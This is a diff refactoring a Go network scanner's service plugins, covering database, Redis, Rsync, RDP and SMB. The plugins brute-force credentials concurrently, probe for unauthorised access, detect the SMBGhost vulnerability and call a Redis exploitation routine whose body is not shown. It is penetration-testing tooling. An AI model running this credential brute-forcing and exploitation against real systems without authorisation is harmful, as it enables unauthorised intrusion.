@@ -63,7 +65,7 @@ func (p *MSSQLPlugin) createAuthFunc(info *common.HostInfo, config *common.Confi
// doMSSQLAuth 执行MSSQL认证
func (p *MSSQLPlugin) doMSSQLAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
connStr := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%d;database=master;connection timeout=%d",
connStr := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%d;database=master;encrypt=disable;connection timeout=%d",
info.Host, cred.Username, cred.Password, info.Port, int64(config.Timeout.Seconds()))
db, err := sql.Open("mssql", connStr)
@@ -146,7 +148,7 @@ func classifyMSSQLErrorType(err error) ErrorType {
func (p *MSSQLPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
target := info.Target()
connStr := fmt.Sprintf("server=%s;user id=invalid;password=invalid;port=%d;database=master;connection timeout=%d",
connStr := fmt.Sprintf("server=%s;user id=invalid;password=invalid;port=%d;database=master;encrypt=disable;connection timeout=%d",
info.Host, info.Port, int64(config.Timeout.Seconds()))
db, err := sql.Open("mssql", connStr)
+8 -6
View File
@@ -36,9 +36,11 @@ func NewMySQLPlugin() *MySQLPlugin {
}
}
func (p *MySQLPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
func (p *MySQLPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
config := session.Config
state := session.State
if config.DisableBrute {
return p.identifyService(info, config)
return p.identifyService(ctx, info, session)
}
credentials := GenerateCredentials("mysql", config)
@@ -54,7 +56,7 @@ func (p *MySQLPlugin) Scan(ctx context.Context, info *common.HostInfo, config *c
// 使用公共框架进行并发凭据测试
authFn := p.createAuthFunc(info, config, state)
testConfig := DefaultConcurrentTestConfig(config)
testConfig := DefaultConcurrentTestConfigWithTarget(config, info)
result := TestCredentialsConcurrently(ctx, credentials, authFn, "mysql", testConfig)
@@ -137,10 +139,10 @@ func classifyMySQLErrorType(err error) ErrorType {
return ClassifyError(err, mysqlAuthErrors, mysqlNetworkErrors)
}
func (p *MySQLPlugin) identifyService(info *common.HostInfo, config *common.Config) *ScanResult {
func (p *MySQLPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
target := info.Target()
conn, err := common.SafeTCPDial(target, config.Timeout)
conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout)
if err != nil {
return &ScanResult{
Success: false,
@@ -150,7 +152,7 @@ func (p *MySQLPlugin) identifyService(info *common.HostInfo, config *common.Conf
}
defer func() { _ = conn.Close() }()
if banner := p.readMySQLBanner(conn, config); banner != "" {
if banner := p.readMySQLBanner(conn, session.Config); banner != "" {
common.LogSuccess(i18n.Tr("mysql_service", target, banner))
return &ScanResult{
Type: plugins.ResultTypeService,
+4 -2
View File
@@ -25,7 +25,9 @@ func NewNeo4jPlugin() *Neo4jPlugin {
}
}
func (p *Neo4jPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
func (p *Neo4jPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
config := session.Config
state := session.State
target := info.Target()
if config.DisableBrute {
@@ -49,7 +51,7 @@ func (p *Neo4jPlugin) Scan(ctx context.Context, info *common.HostInfo, config *c
// 使用公共框架进行并发凭据测试
authFn := p.createAuthFunc(info, config, state)
testConfig := DefaultConcurrentTestConfig(config)
testConfig := DefaultConcurrentTestConfigWithTarget(config, info)
result := TestCredentialsConcurrently(ctx, credentials, authFn, "neo4j", testConfig)
+7 -5
View File
@@ -29,7 +29,9 @@ func NewNetBIOSPlugin() *NetBIOSPlugin {
// GetPorts 实现Plugin接口
// Scan 执行NetBIOS扫描 - 收集Windows主机和域信息
func (p *NetBIOSPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
func (p *NetBIOSPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
config := session.Config
state := session.State
target := info.Target()
// 检查端口类型
@@ -49,7 +51,7 @@ func (p *NetBIOSPlugin) Scan(ctx context.Context, info *common.HostInfo, config
netbiosInfo, err = p.queryNetBIOSNames(info.Host, config, state)
} else {
// TCP端口139 - NetBIOS会话服务
netbiosInfo, err = p.queryNetBIOSSession(info.Host, config)
netbiosInfo, err = p.queryNetBIOSSession(ctx, info.Host, session)
}
if err != nil {
@@ -184,16 +186,16 @@ func (p *NetBIOSPlugin) queryNetBIOSNames(host string, config *common.Config, st
}
// queryNetBIOSSession 查询NetBIOS会话服务(TCP 139)
func (p *NetBIOSPlugin) queryNetBIOSSession(host string, config *common.Config) (*NetBIOSInfo, error) {
func (p *NetBIOSPlugin) queryNetBIOSSession(ctx context.Context, host string, session *common.ScanSession) (*NetBIOSInfo, error) {
target := fmt.Sprintf("%s:139", host)
conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout)
conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout)
if err != nil {
return nil, fmt.Errorf("连接NetBIOS会话服务失败: %w", err)
}
defer func() { _ = conn.Close() }()
_ = conn.SetDeadline(time.Now().Add(config.Timeout))
_ = conn.SetDeadline(time.Now().Add(session.Config.Timeout))
// 发送SMB协商数据包
smbNegotiate1 := []byte{
+7 -5
View File
@@ -24,11 +24,13 @@ func NewOraclePlugin() *OraclePlugin {
}
}
func (p *OraclePlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
func (p *OraclePlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
config := session.Config
state := session.State
target := info.Target()
if config.DisableBrute {
return p.identifyService(ctx, info, config, state)
return p.identifyService(ctx, info, session)
}
// 先测试未授权访问
@@ -48,7 +50,7 @@ func (p *OraclePlugin) Scan(ctx context.Context, info *common.HostInfo, config *
// 使用公共框架进行并发凭据测试
authFn := p.createAuthFunc(info, config, state)
testConfig := DefaultConcurrentTestConfig(config)
testConfig := DefaultConcurrentTestConfigWithTarget(config, info)
result := TestCredentialsConcurrently(ctx, credentials, authFn, "oracle", testConfig)
@@ -178,10 +180,10 @@ func (p *OraclePlugin) testUnauthorizedAccess(ctx context.Context, info *common.
return nil
}
func (p *OraclePlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
func (p *OraclePlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
target := info.Target()
conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout)
conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout)
if err != nil {
return &ScanResult{
Success: false,
+4 -2
View File
@@ -25,7 +25,9 @@ func NewPostgreSQLPlugin() *PostgreSQLPlugin {
}
}
func (p *PostgreSQLPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
func (p *PostgreSQLPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
config := session.Config
state := session.State
target := info.Target()
if config.DisableBrute {
@@ -49,7 +51,7 @@ func (p *PostgreSQLPlugin) Scan(ctx context.Context, info *common.HostInfo, conf
// 使用公共框架进行并发凭据测试
authFn := p.createAuthFunc(info, config, state)
testConfig := DefaultConcurrentTestConfig(config)
testConfig := DefaultConcurrentTestConfigWithTarget(config, info)
result := TestCredentialsConcurrently(ctx, credentials, authFn, "postgresql", testConfig)
+14 -10
View File
@@ -26,11 +26,13 @@ func NewRabbitMQPlugin() *RabbitMQPlugin {
}
}
func (p *RabbitMQPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
func (p *RabbitMQPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
config := session.Config
state := session.State
target := info.Target()
if config.DisableBrute {
return p.identifyService(ctx, info, config, state)
return p.identifyService(ctx, info, session)
}
// 先检测未授权访问
@@ -50,7 +52,7 @@ func (p *RabbitMQPlugin) Scan(ctx context.Context, info *common.HostInfo, config
// 使用公共框架进行并发凭据测试
authFn := p.createAuthFunc(info, config, state)
testConfig := DefaultConcurrentTestConfig(config)
testConfig := DefaultConcurrentTestConfigWithTarget(config, info)
result := TestCredentialsConcurrently(ctx, credentials, authFn, "rabbitmq", testConfig)
@@ -209,16 +211,16 @@ func (p *RabbitMQPlugin) testUnauthorizedAccess(ctx context.Context, info *commo
}
// testAMQPProtocol 检测AMQP协议
func (p *RabbitMQPlugin) testAMQPProtocol(ctx context.Context, info *common.HostInfo, config *common.Config) *ScanResult {
func (p *RabbitMQPlugin) testAMQPProtocol(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
target := info.Target()
conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout)
conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout)
if err != nil {
return nil
}
defer func() { _ = conn.Close() }()
_ = conn.SetDeadline(time.Now().Add(config.Timeout))
_ = conn.SetDeadline(time.Now().Add(session.Config.Timeout))
// 发送AMQP协议头
amqpHeader := []byte{0x41, 0x4d, 0x51, 0x50, 0x00, 0x00, 0x09, 0x01}
@@ -247,19 +249,21 @@ func (p *RabbitMQPlugin) testAMQPProtocol(ctx context.Context, info *common.Host
return nil
}
func (p *RabbitMQPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
func (p *RabbitMQPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
// 对于AMQP端口,检测AMQP协议
if info.Port == 5672 || info.Port == 5671 {
if result := p.testAMQPProtocol(ctx, info, config); result != nil && result.Success {
if result := p.testAMQPProtocol(ctx, info, session); result != nil && result.Success {
return result
}
}
// 检测HTTP管理界面
return p.testManagementInterface(ctx, info, config, state)
return p.testManagementInterface(ctx, info, session)
}
func (p *RabbitMQPlugin) testManagementInterface(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
func (p *RabbitMQPlugin) testManagementInterface(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
config := session.Config
state := session.State
target := info.Target()
baseURL := fmt.Sprintf("http://%s:%d", info.Host, info.Port)
+3 -1
View File
@@ -28,7 +28,9 @@ func NewRDPPlugin() *RDPPlugin {
}
// Scan 执行RDP扫描 - 系统指纹识别 + 真实暴力破解
func (p *RDPPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
func (p *RDPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
config := session.Config
state := session.State
target := info.Target()
// 配置grdp日志级别
+23 -27
View File
@@ -31,21 +31,22 @@ func NewRedisPlugin() *RedisPlugin {
}
// Scan 执行Redis扫描
func (p *RedisPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
func (p *RedisPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
config := session.Config
target := info.Target()
// 如果禁用暴力破解,只做服务识别
if config.DisableBrute {
return p.identifyService(ctx, info, config, state)
return p.identifyService(ctx, info, session)
}
// 首先检查未授权访问
if result := p.testUnauthorizedAccess(ctx, info, config, state); result != nil && result.Success {
if result := p.testUnauthorizedAccess(ctx, info, session); result != nil && result.Success {
common.LogVuln(i18n.Tr("redis_unauth_success", target)) //nolint:govet
// 如果需要利用,重新建立连接执行
if p.shouldExploit(config) {
p.exploitWithPassword(ctx, info, "", config)
p.exploitWithPassword(ctx, info, "", session)
}
return result
}
@@ -54,8 +55,8 @@ func (p *RedisPlugin) Scan(ctx context.Context, info *common.HostInfo, config *c
credentials := GenerateCredentials("redis", config)
// 使用公共框架进行并发凭据测试
authFn := p.createAuthFunc(info, config, state)
testConfig := DefaultConcurrentTestConfig(config)
authFn := p.createAuthFunc(info, session)
testConfig := DefaultConcurrentTestConfigWithTarget(config, info)
testConfig.Concurrency = 20 // Redis 默认并发度更高
result := TestCredentialsConcurrently(ctx, credentials, authFn, "redis", testConfig)
@@ -66,7 +67,7 @@ func (p *RedisPlugin) Scan(ctx context.Context, info *common.HostInfo, config *c
// 如果需要利用,重新建立连接执行
if p.shouldExploit(config) {
p.exploitWithPassword(ctx, info, result.Password, config)
p.exploitWithPassword(ctx, info, result.Password, session)
}
}
@@ -74,21 +75,20 @@ func (p *RedisPlugin) Scan(ctx context.Context, info *common.HostInfo, config *c
}
// createAuthFunc 创建Redis认证函数
func (p *RedisPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc {
func (p *RedisPlugin) createAuthFunc(info *common.HostInfo, session *common.ScanSession) AuthFunc {
return func(ctx context.Context, cred Credential) *AuthResult {
return p.doRedisAuth(ctx, info, cred, config, state)
return p.doRedisAuth(ctx, info, cred, session)
}
}
// doRedisAuth 执行Redis认证
func (p *RedisPlugin) doRedisAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
func (p *RedisPlugin) doRedisAuth(ctx context.Context, info *common.HostInfo, cred Credential, session *common.ScanSession) *AuthResult {
target := info.Target()
timeout := config.Timeout
timeout := session.Config.Timeout
// 建立TCP连接
conn, err := common.WrapperTcpWithTimeout("tcp", target, timeout)
conn, err := session.DialTCP(ctx, "tcp", target, timeout)
if err != nil {
state.IncrementTCPFailedPacketCount()
return &AuthResult{
Success: false,
ErrorType: classifyRedisErrorType(err),
@@ -167,7 +167,6 @@ func (p *RedisPlugin) doRedisAuth(ctx context.Context, info *common.HostInfo, cr
responseStr := string(response[:n])
if !strings.Contains(responseStr, "PONG") {
_ = conn.Close()
state.IncrementTCPFailedPacketCount()
return &AuthResult{
Success: false,
ErrorType: ErrorTypeUnknown,
@@ -175,7 +174,6 @@ func (p *RedisPlugin) doRedisAuth(ctx context.Context, info *common.HostInfo, cr
}
}
state.IncrementTCPSuccessPacketCount()
return &AuthResult{
Success: true,
Conn: conn,
@@ -202,10 +200,10 @@ func classifyRedisErrorType(err error) ErrorType {
}
// testUnauthorizedAccess 测试未授权访问
func (p *RedisPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
func (p *RedisPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
emptyCred := Credential{Username: "", Password: ""}
result := p.doRedisAuth(ctx, info, emptyCred, config, state)
result := p.doRedisAuth(ctx, info, emptyCred, session)
if result.Success {
if result.Conn != nil {
_ = result.Conn.Close()
@@ -222,10 +220,10 @@ func (p *RedisPlugin) testUnauthorizedAccess(ctx context.Context, info *common.H
}
// exploitWithPassword 使用指定密码建立连接并执行利用
func (p *RedisPlugin) exploitWithPassword(ctx context.Context, info *common.HostInfo, password string, config *common.Config) {
func (p *RedisPlugin) exploitWithPassword(ctx context.Context, info *common.HostInfo, password string, session *common.ScanSession) {
target := info.Target()
conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout)
conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout)
if err != nil {
common.LogError(i18n.Tr("redis_reconnect_failed", err))
return
@@ -235,28 +233,27 @@ func (p *RedisPlugin) exploitWithPassword(ctx context.Context, info *common.Host
// 如果有密码,先认证
if password != "" {
authCmd := fmt.Sprintf("AUTH %s\r\n", password)
_ = conn.SetWriteDeadline(time.Now().Add(config.Timeout))
_ = conn.SetWriteDeadline(time.Now().Add(session.Config.Timeout))
if _, writeErr := conn.Write([]byte(authCmd)); writeErr != nil {
return
}
_ = conn.SetReadDeadline(time.Now().Add(config.Timeout))
_ = conn.SetReadDeadline(time.Now().Add(session.Config.Timeout))
response := make([]byte, 512)
if _, readErr := conn.Read(response); readErr != nil {
return
}
}
p.exploit(ctx, info, conn, password, config)
p.exploit(ctx, info, conn, password, session.Config)
}
// identifyService 服务识别
func (p *RedisPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
func (p *RedisPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
target := info.Target()
timeout := config.Timeout
timeout := session.Config.Timeout
conn, err := common.WrapperTcpWithTimeout("tcp", target, timeout)
conn, err := session.DialTCP(ctx, "tcp", target, timeout)
if err != nil {
state.IncrementTCPFailedPacketCount()
return &ScanResult{
Success: false,
Service: "redis",
@@ -300,7 +297,6 @@ func (p *RedisPlugin) identifyService(ctx context.Context, info *common.HostInfo
banner = "Redis服务"
}
state.IncrementTCPSuccessPacketCount()
common.LogSuccess(i18n.Tr("redis_service_identified", target, banner)) //nolint:govet
return &ScanResult{
+20 -26
View File
@@ -28,17 +28,18 @@ func NewRsyncPlugin() *RsyncPlugin {
}
}
func (p *RsyncPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
func (p *RsyncPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
config := session.Config
target := info.Target()
if config.DisableBrute {
return p.identifyService(ctx, info, config, state)
return p.identifyService(ctx, info, session)
}
var findings []string
// 检测未授权访问
if result := p.testUnauthorizedAccess(ctx, info, config, state); result != nil && result.Success {
if result := p.testUnauthorizedAccess(ctx, info, session); result != nil && result.Success {
common.LogSuccess(i18n.Tr("rsync_service", target, result.Banner))
findings = append(findings, result.Banner)
}
@@ -68,8 +69,8 @@ func (p *RsyncPlugin) Scan(ctx context.Context, info *common.HostInfo, config *c
}
// 使用公共框架进行并发凭据测试
authFn := p.createAuthFunc(info, config, state)
testConfig := DefaultConcurrentTestConfig(config)
authFn := p.createAuthFunc(info, session)
testConfig := DefaultConcurrentTestConfigWithTarget(config, info)
result := TestCredentialsConcurrently(ctx, creds, authFn, "rsync", testConfig)
@@ -95,16 +96,16 @@ func (p *RsyncPlugin) Scan(ctx context.Context, info *common.HostInfo, config *c
}
// createAuthFunc 创建Rsync认证函数
func (p *RsyncPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc {
func (p *RsyncPlugin) createAuthFunc(info *common.HostInfo, session *common.ScanSession) AuthFunc {
return func(ctx context.Context, cred Credential) *AuthResult {
return p.doRsyncAuth(ctx, info, cred, config, state)
return p.doRsyncAuth(ctx, info, cred, session)
}
}
// doRsyncAuth 执行Rsync认证
func (p *RsyncPlugin) doRsyncAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
func (p *RsyncPlugin) doRsyncAuth(ctx context.Context, info *common.HostInfo, cred Credential, session *common.ScanSession) *AuthResult {
// 先获取可用模块列表
conn := p.connectToRsync(ctx, info, config, state)
conn := p.connectToRsync(ctx, info, session)
if conn == nil {
return &AuthResult{
Success: false,
@@ -112,7 +113,7 @@ func (p *RsyncPlugin) doRsyncAuth(ctx context.Context, info *common.HostInfo, cr
Error: fmt.Errorf("无法连接到Rsync服务"),
}
}
modules := p.getModules(conn, config)
modules := p.getModules(conn, session.Config)
_ = conn.Close()
if len(modules) == 0 {
@@ -140,7 +141,6 @@ func (p *RsyncPlugin) doRsyncAuth(ctx context.Context, info *common.HostInfo, cr
)
if err != nil {
state.IncrementTCPFailedPacketCount()
errMsg := err.Error()
if common.ContainsAny(errMsg, "auth", "password") {
return &AuthResult{
@@ -156,7 +156,6 @@ func (p *RsyncPlugin) doRsyncAuth(ctx context.Context, info *common.HostInfo, cr
}
}
state.IncrementTCPSuccessPacketCount()
return &AuthResult{
Success: true,
Conn: &rsyncConnWrapper{},
@@ -206,14 +205,14 @@ func classifyRsyncErrorType(err error) ErrorType {
}
// testUnauthorizedAccess 测试未授权访问
func (p *RsyncPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
conn := p.connectToRsync(ctx, info, config, state)
func (p *RsyncPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
conn := p.connectToRsync(ctx, info, session)
if conn == nil {
return nil
}
defer func() { _ = conn.Close() }()
modules := p.getModules(conn, config)
modules := p.getModules(conn, session.Config)
if len(modules) > 0 {
banner := fmt.Sprintf("未授权访问 - 可用模块: %s", strings.Join(modules, ", "))
@@ -229,22 +228,18 @@ func (p *RsyncPlugin) testUnauthorizedAccess(ctx context.Context, info *common.H
}
// connectToRsync 连接到Rsync服务
func (p *RsyncPlugin) connectToRsync(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) net.Conn {
func (p *RsyncPlugin) connectToRsync(ctx context.Context, info *common.HostInfo, session *common.ScanSession) net.Conn {
target := info.Target()
timeout := session.Config.Timeout
connChan := make(chan net.Conn, 1)
go func() {
timeout := config.Timeout
conn, err := common.WrapperTcpWithTimeout("tcp", target, timeout)
conn, err := session.DialTCP(ctx, "tcp", target, timeout)
if err != nil {
state.IncrementTCPFailedPacketCount()
connChan <- nil
return
}
state.IncrementTCPSuccessPacketCount()
_ = conn.SetDeadline(time.Now().Add(timeout))
connChan <- conn
}()
@@ -253,7 +248,6 @@ func (p *RsyncPlugin) connectToRsync(ctx context.Context, info *common.HostInfo,
case conn := <-connChan:
return conn
case <-ctx.Done():
// context 被取消,启动清理协程等待并关闭可能创建的连接
go func() {
conn := <-connChan
if conn != nil {
@@ -326,10 +320,10 @@ func (p *RsyncPlugin) getModules(conn net.Conn, config *common.Config) []string
}
// identifyService Rsync服务识别
func (p *RsyncPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
func (p *RsyncPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
target := info.Target()
conn := p.connectToRsync(ctx, info, config, state)
conn := p.connectToRsync(ctx, info, session)
if conn == nil {
return &ScanResult{
Success: false,
@@ -339,7 +333,7 @@ func (p *RsyncPlugin) identifyService(ctx context.Context, info *common.HostInfo
}
defer func() { _ = conn.Close() }()
timeout := config.Timeout
timeout := session.Config.Timeout
_ = conn.SetWriteDeadline(time.Now().Add(timeout))
if _, err := conn.Write([]byte("\n")); err != nil {
+13 -17
View File
@@ -24,7 +24,9 @@ func NewSmbPlugin() *SmbPlugin {
}
}
func (p *SmbPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result {
func (p *SmbPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
config := session.Config
state := session.State
target := info.Target()
// 检查端口
@@ -37,23 +39,21 @@ func (p *SmbPlugin) Scan(ctx context.Context, info *common.HostInfo, config *com
}
// 1. 协议探测和信息收集
smbTarget, err := probeTarget(info.Host, info.Port, config.Timeout)
smbTarget, err := probeTarget(ctx, info.Host, info.Port, config.Timeout, session)
if err != nil {
state.IncrementTCPFailedPacketCount()
return &ScanResult{
Success: false,
Service: "smb",
Error: fmt.Errorf("SMB协议探测失败: %w", err),
}
}
state.IncrementTCPSuccessPacketCount()
// 输出信息收集结果
p.logSMBInfo(target, smbTarget)
// 2. 漏洞检测 (仅SMBv2+且端口445)
if smbTarget.Protocol == SMBProtocol2 && info.Port == 445 {
if checkSMBGhost(info.Host, config.Timeout) {
if checkSMBGhost(ctx, info.Host, config.Timeout, session) {
smbTarget.Vulnerable = &SMBVuln{CVE20200796: true}
common.LogVuln(i18n.Tr("smbghost_vuln", target))
}
@@ -68,7 +68,7 @@ func (p *SmbPlugin) Scan(ctx context.Context, info *common.HostInfo, config *com
auth := p.getAuthenticator(smbTarget.Protocol)
// 4. 未授权访问检测
if result := p.testUnauthorizedAccess(ctx, info, auth, config, state); result != nil && result.Success {
if result := p.testUnauthorizedAccess(ctx, info, auth, config, state, session); result != nil && result.Success {
var successMsg string
if config.Credentials.Domain != "" {
successMsg = fmt.Sprintf("SMB %s 未授权访问 - %s\\%s:%s", target, config.Credentials.Domain, result.Username, result.Password)
@@ -90,8 +90,8 @@ func (p *SmbPlugin) Scan(ctx context.Context, info *common.HostInfo, config *com
creds[i] = Credential{Username: c.Username, Password: c.Password}
}
authFn := p.createAuthFunc(info, auth, config, state)
testConfig := DefaultConcurrentTestConfig(config)
authFn := p.createAuthFunc(info, auth, session)
testConfig := DefaultConcurrentTestConfigWithTarget(config, info)
result := TestCredentialsConcurrently(ctx, creds, authFn, "smb", testConfig)
@@ -117,20 +117,16 @@ func (p *SmbPlugin) getAuthenticator(protocol SMBProtocol) SMBAuthenticator {
}
// createAuthFunc 创建认证函数
func (p *SmbPlugin) createAuthFunc(info *common.HostInfo, auth SMBAuthenticator, config *common.Config, state *common.State) AuthFunc {
func (p *SmbPlugin) createAuthFunc(info *common.HostInfo, auth SMBAuthenticator, session *common.ScanSession) AuthFunc {
config := session.Config
return func(ctx context.Context, cred Credential) *AuthResult {
result, _ := auth.Authenticate(ctx, info.Host, info.Port, cred, config.Credentials.Domain, config.Timeout)
if result.Success {
state.IncrementTCPSuccessPacketCount()
} else {
state.IncrementTCPFailedPacketCount()
}
result, _ := auth.Authenticate(ctx, info.Host, info.Port, cred, config.Credentials.Domain, config.Timeout, session)
return result
}
}
// testUnauthorizedAccess 测试未授权访问
func (p *SmbPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, auth SMBAuthenticator, config *common.Config, state *common.State) *ScanResult {
func (p *SmbPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, auth SMBAuthenticator, config *common.Config, state *common.State, session *common.ScanSession) *ScanResult {
target := info.Target()
unauthorizedCreds := []Credential{
@@ -140,7 +136,7 @@ func (p *SmbPlugin) testUnauthorizedAccess(ctx context.Context, info *common.Hos
}
for _, cred := range unauthorizedCreds {
shareInfo, err := auth.ListShares(ctx, info.Host, info.Port, cred, config.Credentials.Domain, config.Timeout)
shareInfo, err := auth.ListShares(ctx, info.Host, info.Port, cred, config.Credentials.Domain, config.Timeout, session)
if err == nil && len(shareInfo) > 0 {
var output strings.Builder
displayUser := cred.Username
+31 -26
View File
@@ -201,10 +201,10 @@ var (
)
// probeTarget 探测目标SMB信息(协议版本、系统信息)
func probeTarget(host string, port int, timeout time.Duration) (*SMBTarget, error) {
func probeTarget(ctx context.Context, host string, port int, timeout time.Duration, session *common.ScanSession) (*SMBTarget, error) {
target := fmt.Sprintf("%s:%d", host, port)
conn, err := common.WrapperTcpWithTimeout("tcp", target, timeout)
conn, err := session.DialTCP(ctx, "tcp", target, timeout)
if err != nil {
return nil, fmt.Errorf("连接失败: %w", err)
}
@@ -230,7 +230,7 @@ func probeTarget(host string, port int, timeout time.Duration) (*SMBTarget, erro
}
// SMBv2路径
return probeSMBv2(target, timeout)
return probeSMBv2(ctx, target, timeout, session)
}
// probeSMBv1 处理SMBv1协议信息收集
@@ -242,7 +242,7 @@ func probeSMBv1(conn net.Conn, target string, timeout time.Duration) (*SMBTarget
}
ret, err := readSMBMessage(conn)
if err != nil || len(ret) < 45 {
if err != nil || len(ret) < 47 {
return nil, fmt.Errorf("读取SMBv1 Session Setup响应失败: %w", err)
}
@@ -251,21 +251,24 @@ func probeSMBv1(conn net.Conn, target string, timeout time.Duration) (*SMBTarget
}
// 解析blob信息
blobLength := bytesToUint16(ret[43:45])
blobCount := bytesToUint16(ret[45:47])
blobLength := int(bytesToUint16(ret[43:45]))
blobCount := int(bytesToUint16(ret[45:47]))
if int(blobCount) > len(ret) {
gssNative := ret[47:]
gssLen := len(gssNative)
// 校验远端返回的偏移量
if blobLength > gssLen || blobCount > gssLen || blobLength > blobCount {
return info, nil
}
gssNative := ret[47:]
offNTLM := bytes.Index(gssNative, []byte("NTLMSSP"))
if offNTLM == -1 {
return info, nil
}
// 提取native OS和LM信息
native := gssNative[int(blobLength):blobCount]
native := gssNative[blobLength:blobCount]
ss := strings.Split(string(native), "\x00\x00")
if len(ss) > 0 {
@@ -276,15 +279,17 @@ func probeSMBv1(conn net.Conn, target string, timeout time.Duration) (*SMBTarget
}
// 解析NTLM信息
bs := gssNative[offNTLM:blobLength]
parseNTLMChallenge(bs, info)
if offNTLM <= blobLength {
bs := gssNative[offNTLM:blobLength]
parseNTLMChallenge(bs, info)
}
return info, nil
}
// probeSMBv2 处理SMBv2协议信息收集
func probeSMBv2(target string, timeout time.Duration) (*SMBTarget, error) {
conn2, err := common.WrapperTcpWithTimeout("tcp", target, timeout)
func probeSMBv2(ctx context.Context, target string, timeout time.Duration, session *common.ScanSession) (*SMBTarget, error) {
conn2, err := session.DialTCP(ctx, "tcp", target, timeout)
if err != nil {
return nil, fmt.Errorf("SMBv2连接失败: %w", err)
}
@@ -349,10 +354,10 @@ func probeSMBv2(target string, timeout time.Duration) (*SMBTarget, error) {
}
// checkSMBGhost 检测CVE-2020-0796漏洞
func checkSMBGhost(host string, timeout time.Duration) bool {
func checkSMBGhost(ctx context.Context, host string, timeout time.Duration, session *common.ScanSession) bool {
addr := fmt.Sprintf("%s:445", host)
conn, err := common.WrapperTcpWithTimeout("tcp", addr, timeout)
conn, err := session.DialTCP(ctx, "tcp", addr, timeout)
if err != nil {
return false
}
@@ -385,15 +390,15 @@ func checkSMBGhost(host string, timeout time.Duration) bool {
// SMBAuthenticator 统一认证接口
type SMBAuthenticator interface {
Authenticate(ctx context.Context, host string, port int, cred Credential, domain string, timeout time.Duration) (*AuthResult, error)
ListShares(ctx context.Context, host string, port int, cred Credential, domain string, timeout time.Duration) ([]string, error)
Authenticate(ctx context.Context, host string, port int, cred Credential, domain string, timeout time.Duration, session *common.ScanSession) (*AuthResult, error)
ListShares(ctx context.Context, host string, port int, cred Credential, domain string, timeout time.Duration, session *common.ScanSession) ([]string, error)
}
// SMB1Authenticator SMB1认证器
type SMB1Authenticator struct{}
// Authenticate 执行SMB1认证
